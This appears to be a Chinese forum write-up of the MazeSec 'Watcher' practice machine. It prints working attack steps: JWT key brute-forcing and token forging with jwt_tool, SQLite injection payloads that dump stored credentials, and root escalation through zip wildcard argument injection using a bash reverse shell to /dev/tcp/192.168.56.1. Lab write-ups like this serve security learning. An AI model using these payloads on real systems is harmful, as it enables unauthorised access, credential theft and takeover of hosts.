靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:Watcher
作者 :Yolo
也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。
关于靶机配置之前讲过了,这里就不多说了。
最近换成用wsl的kali了,只能是nat网络,所以靶机都用的Host-only,所以都是走的 192.168.56.0/24这个网段
该网段windows侧的ip为192.168.56.1。这样会导致我的kali能访问到靶机,但是靶机访问不到kali。
这里就相当于windows和靶机都是一个”公网ip“,kali是windows的nat后面的”私网ip“
我换wsl主要是不想每次去多开一台虚拟机,还有vmware那个桥接网络不知道为什么ip老是变甚至有时候ipv4都没有,还要我手动续租什么的。但是这也有个问题就是反弹shell就做不了,我的做法是windows上装一个nc监听来平替。
话不多说,直接开打。
信息收集
靶机ip:192.168.56.106
端口扫描
┌──(kali㉿JYlover)-[~/tmp]
└─$ nmap -p- 192.168.56.106

开放22、5000端口。
只有一个5000端口有价值,但是我们又不知道
upnp是啥,我尝试去浏览器访问一下。
是一个web页面,那么入口点肯定就是web了,那我们就开始web渗透
web渗透
看到登录框先是尝试了一下sql注入等。但是都没什么用,这里不知道怎么办的话可以先扫一下目录,这也是一般web渗透的流程。

就只有一个登录一个注册。
那我们直接注册一个账号好了。

进来后我们尝试访问系统管理页面,但是发现说我们权限不足,权限是
normal这里的权限认证大概率就是jwt了,但是我们还是尝试抓个包看看

果然就是jwt。我们去爆破一下密钥。
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -C -d jwtkey.txt

成功拿到jwt密钥:
maze尝试伪造。
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -I -pc level -pv admin -S hs256 -p "maze"

拿到密钥:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6ImFkbWluIiwiaWF0IjoxNzgwMzg0MTgzLCJleHAiOjE3ODAzODc3ODN9.EP8qh3LLC4wozyqw3n-yFHuyfZi5uIoPvD8f34972XM
也可以直接去jwt官网用密钥修改。
然后直接去浏览器的 开发者工具–>应用–>cookie中替换新的jwt即可:

然后就可以正常进入系统管理页面了。
然后是改系统设置的地方,这里抓个包。

我们在value这里试试也没有sql注入。

造成sql语法报错,存在sql注入,而且这里大概率是update语句,那union注入就行不通了。但是因为这里会把更新成功的value给回显出来,所以我们尝试子查询。

这里是报没有
database()函数,那说明我们的sql语句是没问题的,只是函数错了,那这是个好事啊。说明只是这不是mysql数据库,查询是对的,我们换sqlite的函数试试。
果然是sqlite。那后面就是直接sql注入了,不过多讲解。
最终payload:
{"key":"theme","value":"light',value = (select group_concat(tbl_name) from sqlite_master )--+"}
# "current_value": "users,users,sqlite_sequence,settings,settings,secret"
{"key":"theme","value":"light',value = (select group_concat(sql) from sqlite_master where tbl_name = 'secret' )--+"}
# "current_value": "CREATE TABLE secret (id INTEGER PRIMARY KEY AUTOINCREMENT,secret TEXT NOT NULL )"
{"key":"theme","value":"light',value = (select group_concat(secret) from secret )--+"}
# "current_value": "watcher:mazesec123q1231w!@#!@@#$"
获得登录凭证:
watcher:mazesec123q1231w!@#!@@#$
然后就可以直接ssh登录了。

flag{user-c3949567202847f1ad8664095f0a94e4}
权限提升
我们先老规矩传pspy64上去看看:

注意到这里两行:
2026/06/02 08:15:50 CMD: UID=0 PID=408 | /bin/bash /opt/autoarchive/sync.sh
2026/06/02 08:15:50 CMD: UID=0 PID=407 | inotifywait -m -e create /home/watcher/uploads
- 以root身份执行的一个一个脚本
/opt/autoarchive/sync.sh - 可能是脚本中执行的命令 :inotifywait是监控文件系统的工具
$ inotifywait -m -e create /home/watcher/uploads
# -m参数:持续监控模式。
# -e参数:指定事件类型 ,这里指定creat事件
实时监控 /home/watcher/uploads 目录,当有新文件或子目录创建时,立即输出事件信息。
说明如果uploads文件夹发生变化会触发一些东西。那这个uploads文件夹我们去看看。
随便在目录下创建一点东西。

创建的瞬间就自动执行了脚本
/opt/autoarchive/archive-helper,肯定是想去看看这个脚本是做什么的,但是这个目录我们没有权限
watcher@Watcher:/opt$ ls -al
total 16
drwxr-xr-x 4 root root 4096 May 22 12:16 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
drwx------ 2 root root 4096 May 22 12:29 autoarchive
drwxr-xr-x 5 www-data www-data 4096 May 22 11:55 watcher
这里我们虽然不知道这个脚本是做什么的,但是静下来想一下:
一个脚本,参数是我们刚刚创建的文件。那么就很有可能是监控并把产生的文件给打包到哪里去吧。但是想不到打包这个操作也没事(而且zip,gzip,这么多打包命令也不知道是哪个)
此时我们可以打开pspy的文件系统监控功能。
watcher@Watcher:~$ ./pspy64 -fp
# pspy默认是监控进程,但是有了-f参数就是文件系统,-p参数是进程,所以我们同时监控两个

很明显抓到了调用了zip命令。
这里是有几率抓到一条zip命令的进程的,只是我们的文件太小了,zip压缩太快了,而pspy的原理其实是通过查看/proc目录实现监控的,所以太快的话就可能抓不到。
这里抓到这个包是要有点运气的,比较稳的方法是压缩一个超大文件,这里我就没有去演示了。
还有一点是实验可以发现,这个脚本应该就只是检测txt文件,如果是其他文件的话不会触发压缩。
既然是zip命令的话我们就很明显了,应该是使用zip打包时使用了通配符打包所有文件。
那这样就存在一个通配符参数注入的问题。
我们查一下GTFObins

是可以做到命令执行和文件读取的,我们可以利用文件名做参数注入:
- 先准备一个反弹shell的脚本
watcher@Watcher:~/uploads$ cat shell.txt
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.1/9999 0>&1
- 给脚本添加可执行权限,并创建参数注入文件
watcher@Watcher:~/uploads$ chmod +x shell.txt
watcher@Watcher:~/uploads$ >'-T -TT shell.txt'
关于zip提权
这里稍微了解一下zip的这个参数问题。
zip存在两个参数:
- -T :测试zip文件完整性,
-T会调用unzip -tqq来测试 - -TT :用你指定的命令来测试,如:
-TT cmd:使用cmd作为解压测试的命令。zip 会创建一个临时文件,执行cmd tmpfile.zip,如果命令返回 0 则认为测试通过。
注意:这里的cmd是一个外部可执行程序,也就是说它可以是一个命令,也可以是一个shell脚本。
所以这里就会执行这个命令
回到我们构造的payload:
我创建了一个文件:
watcher@Watcher:~/uploads$ >'-T -TT shell.txt'
此时文件夹存在文件-T -TT shell.txt和文件shell.txt
其中shell.txt是反弹shell脚本。
此时后台root可能执行了:
zip shell.txt -T -TT shell.txt
后面这个文件就被当作参数执行了。
其他做法
这里分享一些其他解法。来自其他群友的wp
sleep替换
解法来自——Aristore
附上群友wp截图:

说实话这里的sleep命令的发现,我还没有复刻,不管是pspy还是上面的命令都没有抓到。
但是这个方法是稳定可行的。

原因是他这里看了
/proc/$NEW_PID/cmdline,这个文件里是进程的启动命令。所以启动命令是
sleep 3,这里使用的相对路径,我们可以直接看一下脚本源码:
root@Watcher:/home/watcher/uploads# cat /opt/autoarchive/sync.sh
cat /opt/autoarchive/sync.sh
#!/bin/bash
WATCH_DIR="/home/watcher/uploads"
HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}"
mkdir -p /root/backups
inotifywait -m -e create "$WATCH_DIR" |
while read -r path action file
do
case "$file" in
*.txt)
sleep 3
cd "$WATCH_DIR" || exit 1
export PATH="$WATCH_DIR:$PATH"
# Archive all .txt files after each new .txt file event.
"$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1
;;
esac
done
其实这个方法之所以能成功是很多巧合的,所以也只能算是学习一种思路吧。
这里看一下出题人说的:

是为了预期解能成功所以添加了PATH变量,再加上sleep没有使用绝对路径(一般都不会用绝对路径吧),所以导致执行sleep时会默认去uploads目录下找,此时我们在uploads下创建sleep文件才能被执行。算是一种非预期解吧。
CVE-2026-43494-PinThef
解法来自——BR
该内核漏洞也可直接提权,这里这个CVE我还没有太了解过,就没有复现了,后续可能找时间了解。大家可自行复现。
这里附上群友的wp截图:
知识点总结
通过这次靶机可以了解到以下知识点,大家打完后可以复习一下:
jwt的密钥爆破及payload伪造- sqlite注入(UPDATE的注入使用子查询,而不是union等)
- zip命令的通配符参数注入(
-T -TT shell.txt) - sleep命令替换(非预期,可学习思路)
1 个帖子 - 1 位参与者
